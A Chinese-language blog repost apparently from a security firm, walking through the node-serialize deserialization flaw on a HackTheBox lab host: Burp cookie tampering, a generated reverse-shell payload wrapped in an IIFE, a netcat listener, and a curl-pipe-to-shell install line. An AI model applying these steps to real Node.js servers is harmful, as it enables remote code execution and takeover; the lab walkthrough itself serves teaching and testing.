TMT观察网_独特视角观察TMT行业

Node.js反序列化攻擊漏洞區塊鏈

曲速未來安全區 2018-08-17 03:35
分享到:
導讀

導語:WF曲速未來提醒:node.js的序列化過程中存在遠程代碼執行漏洞。更直白的說,其實是node.js的node-serialize庫存在漏洞。通過傳輸JavaScriptIIFE(立即執行函數表達式),攻擊者可以利用惡意代碼(不受信任的數據),在反序列化過程中遠程執行任意代碼。

導語:

WF曲速未來提醒:node.js的序列化過程中存在遠程代碼執行漏洞。更直白的說,其實是node.js的node-serialize庫存在漏洞。通過傳輸JavaScript IIFE(立即執行函數表達式),攻擊者可以利用惡意代碼(不受信任的數據),在反序列化過程中遠程執行任意代碼。

WF曲速區表示:Node.js是一個Javascript服務器端的運行環境。它封裝了Google V8引擎。 Google V8引擎可以快速運行具有高性能的Javascript。Node.js優化某些特殊情況并提供替代APls,使Google V8引擎能夠在非瀏覽器環境中更有效地運行。

但是Node。js的序列化過程中仍然存在遠程代碼執行漏洞。Node.js的node-serialize庫有一個漏洞。通過傳輸JavaScript IIFE,攻擊者可以使用惡意代碼(不受信任的數據)在反序列化中遠程運行任意代碼。

關于漏洞(反序列化攻擊)

不受信任的數據被傳遞到unserialize()函數,這導致我們可以繞過JavaScript對象的立即調用的函數表達式IIFE來實現任意代碼執行。

所以你的步驟是在apt-get命令的幫助下安裝nodejs包,如下所示:

命令:apt-get install nodejs

在下一步中,您需要在CURL命令的幫助下安裝npm實用程序(有關使用npm進一步安裝node-serialize包),如下所示:

命令:curl -L https://www.npmjs.com/install.sh |SH

一旦你安裝和配置Nodejs和Npm,只需在npm的幫助下輸入node-serialize包,輸入“npm install node-serialize”,如下所示:

另一方面,我們已經與HacktheBox服務器連接,其服務器的漏洞節點機器IP為10.10.10.85:3000(運行Nodejs Express Framework,您可以使用Nmap Scanning進一步確認)

因此,在第一步中,您需要在最受歡迎的代理攔截工具之一(即Burp Suite)的幫助下捕獲上述Nodejs易受攻擊IP的GET請求,如下所示:

在第二步中,只需選擇cookie值并將其發送到Decoder選項卡以進行進一步解密。

此易受攻擊的Web應用程序中的漏洞是,它從HTTP請求中讀取名為profile的cookie,執行cookie值的base64解碼并將其傳遞給unserialize()函數。由于cookie是不受信任的輸入,攻擊者可以利用惡意cookie值來利用此漏洞。

第三步,要安裝Nodejs Security Toolkit,請在終端中鍵入以下命令。

命令:git clone https://github.com/ajinabraham/Node.Js-Security-Course.git

導航到下載的文件夾并運行以下命令以創建反向shell有效內容,該有效負載將javascript代碼評估為字符串。

首先,您需要通過鍵入“ifconfig”找出隧道IP,然后運行以下命令:

命令: python nodejsshell.py 10.10.14.145 4443

這是最終反向shell有效負載的輸出。

現在讓我們使用以下javascript生成序列化的有效負載。

代碼:

用大括號{eval(String.from ......... })添加上面的有效負載輸出,如下所示:

將文件另存為exploit.js并使用node命令運行,該命令生成最終的序列化有效負載,如下所示:

命令:node exploit.js

現在回到BurpSuite并導航到Decoder選項卡并將上面的輸出代碼粘貼到Textarea中,然后在解碼之前,在函數體之后添加IIFE括號(),如下所示:

在這里,我們需要執行相同的Base64編碼,然后在Cookie標頭值中使用編碼的有效負載向Web服務器發出請求。

現在要發出請求,您需要向Repeater 選項卡發送相同的請求。

在Repeater選項卡中,您需要將cookie值替換為我們從上面步驟生成的base64編碼值,然后單擊GO按鈕。

并排,確保您的netcat服務正在偵聽相同的端口,即4443(反向shell負載的相同端口)

命令:nc -lvp 4443

一旦你單擊Go按鈕,請求將命中到服務器,顯示200 OK響應,并顯示一條錯誤消息“發生錯誤...無效的用戶名類型”,并立即在netcat終端中與該服務器連接,狀態為“已連接”。

區塊鏈安全公司WF曲速未來提醒:本實踐實現了Node.js 反序列化漏洞遠程執行代碼的演示,并對漏洞進行了詳細的分析。該漏洞本質上是構造Payload傳入unserrialize()函數進行反序列化:使用JavaScript的立即調用函數表達式(IIFE),當對象被創建時,將 該JavaScript 對象傳入 serialize() 函數,輸出exploit將其傳入unserialize() 函數,可以實現任意代碼執行。危害不容小覷。

代碼 命令 漏洞 執行 運行
分享到:

1.TMT觀察網遵循行業規范,任何轉載的稿件都會明確標注作者和來源;
2.TMT觀察網的原創文章,請轉載時務必注明文章作者和"來源:TMT觀察網",不尊重原創的行為TMT觀察網或將追究責任;
3.作者投稿可能會經TMT觀察網編輯修改或補充。


專題報道

主站蜘蛛池模板: 全自动包装秤_全自动上袋机_全自动套袋机_高位码垛机_全自动包装码垛系统生产线-三维汉界机器(山东)股份有限公司 | 东莞市超赞电子科技有限公司 全系列直插/贴片铝电解电容,电解电容,电容器 | 大型低温冷却液循环泵-低温水槽冷阱「厂家品牌」京华仪器_京华仪器 | 台湾Apex减速机_APEX行星减速机_台湾精锐减速机厂家代理【现货】-杭州摩森机电 | 冷库安装厂家_杭州冷库_保鲜库建设-浙江克冷制冷设备有限公司 | 免费网站网址收录网_海企优网站推荐平台 | 北京四合院出租,北京四合院出售,北京平房买卖 - 顺益兴四合院 | 一点车讯-汽车网站,每天一点最新车讯! | BAUER减速机|ROSSI-MERSEN熔断器-APTECH调压阀-上海爱泽工业设备有限公司 | 吨袋包装机|吨包秤|吨包机|集装袋包装机-烟台华恩科技 | 磁力反应釜,高压釜,实验室反应釜,高温高压反应釜-威海自控反应釜有限公司 | 密集架|电动密集架|移动密集架|黑龙江档案密集架-大量现货厂家销售 | 电销卡_稳定企业大语音卡-归属地可选-世纪通信| 线粒体膜电位荧光探针-细胞膜-标记二抗-上海复申生物科技有限公司 | 粒米特测控技术(上海)有限公司-测功机_减速机测试台_电机测试台 | 物和码官网,物和码,免费一物一码数字化营销SaaS平台 | 噪声治理公司-噪音治理专业隔音降噪公司 | 刚性-柔性防水套管-橡胶伸缩接头-波纹管补偿器-启腾供水材料有限公司 | 电动球阀_不锈钢电动球阀_电动三通球阀_电动调节球阀_上海湖泉阀门有限公司 | 空心明胶胶囊|植物胶囊|清真胶囊|浙江绿键胶囊有限公司欢迎您! | 昆明网络公司|云南网络公司|昆明网站建设公司|昆明网页设计|云南网站制作|新媒体运营公司|APP开发|小程序研发|尽在昆明奥远科技有限公司 | 电脑知识|软件|系统|数据库|服务器|编程开发|网络运营|知识问答|技术教程文章 - 好吧啦网 | 涡街流量计_LUGB智能管道式高温防爆蒸汽温压补偿计量表-江苏凯铭仪表有限公司 | NBA直播_NBA直播免费观看直播在线_NBA直播免费高清无插件在线观看-24直播网 | 昆明挖掘机修理厂_挖掘机翻新再制造-昆明聚力工程机械维修有限公司 | 招商帮-一站式网络营销服务|搜索营销推广|信息流推广|短视视频营销推广|互联网整合营销|网络推广代运营|招商帮企业招商好帮手 | 乐考网-银行从业_基金从业资格考试_初级/中级会计报名时间_中级经济师 | 超声波乳化机-超声波分散机|仪-超声波萃取仪-超声波均质机-精浩机械|首页 | 苏州防水公司_厂房屋面外墙防水_地下室卫生间防水堵漏-苏州伊诺尔防水工程有限公司 | 闪蒸干燥机-喷雾干燥机-带式干燥机-桨叶干燥机-[常州佳一干燥设备] | 龙门加工中心-数控龙门加工中心厂家价格-山东海特数控机床有限公司_龙门加工中心-数控龙门加工中心厂家价格-山东海特数控机床有限公司 | 伺服电机_直流伺服_交流伺服_DD马达_拓达官方网站 | 陶氏道康宁消泡剂_瓦克消泡剂_蓝星_海明斯德谦_广百进口消泡剂 | 煤矿人员精确定位系统_矿用无线通信系统_煤矿广播系统 | 定制奶茶纸杯_定制豆浆杯_广东纸杯厂_[绿保佳]一家专业生产纸杯碗的厂家 | 金属检测机_金属分离器_检针验针机_食品药品金属检探测仪器-广东善安科技 | 印刷人才网 印刷、包装、造纸,中国80%的印刷企业人才招聘选印刷人才网! | 保健品OEM贴牌代加工厂家_德州健之源| 西安微信朋友圈广告投放_微信朋友圈推广_西安度娘网络科技有限公司 | 上海洗地机-洗地机厂家-全自动洗地机-手推式洗地机-上海滢皓洗地机 | 河北中仪伟创试验仪器有限公司是专业生产沥青,土工,水泥,混凝土等试验仪器的厂家,咨询电话:13373070969 |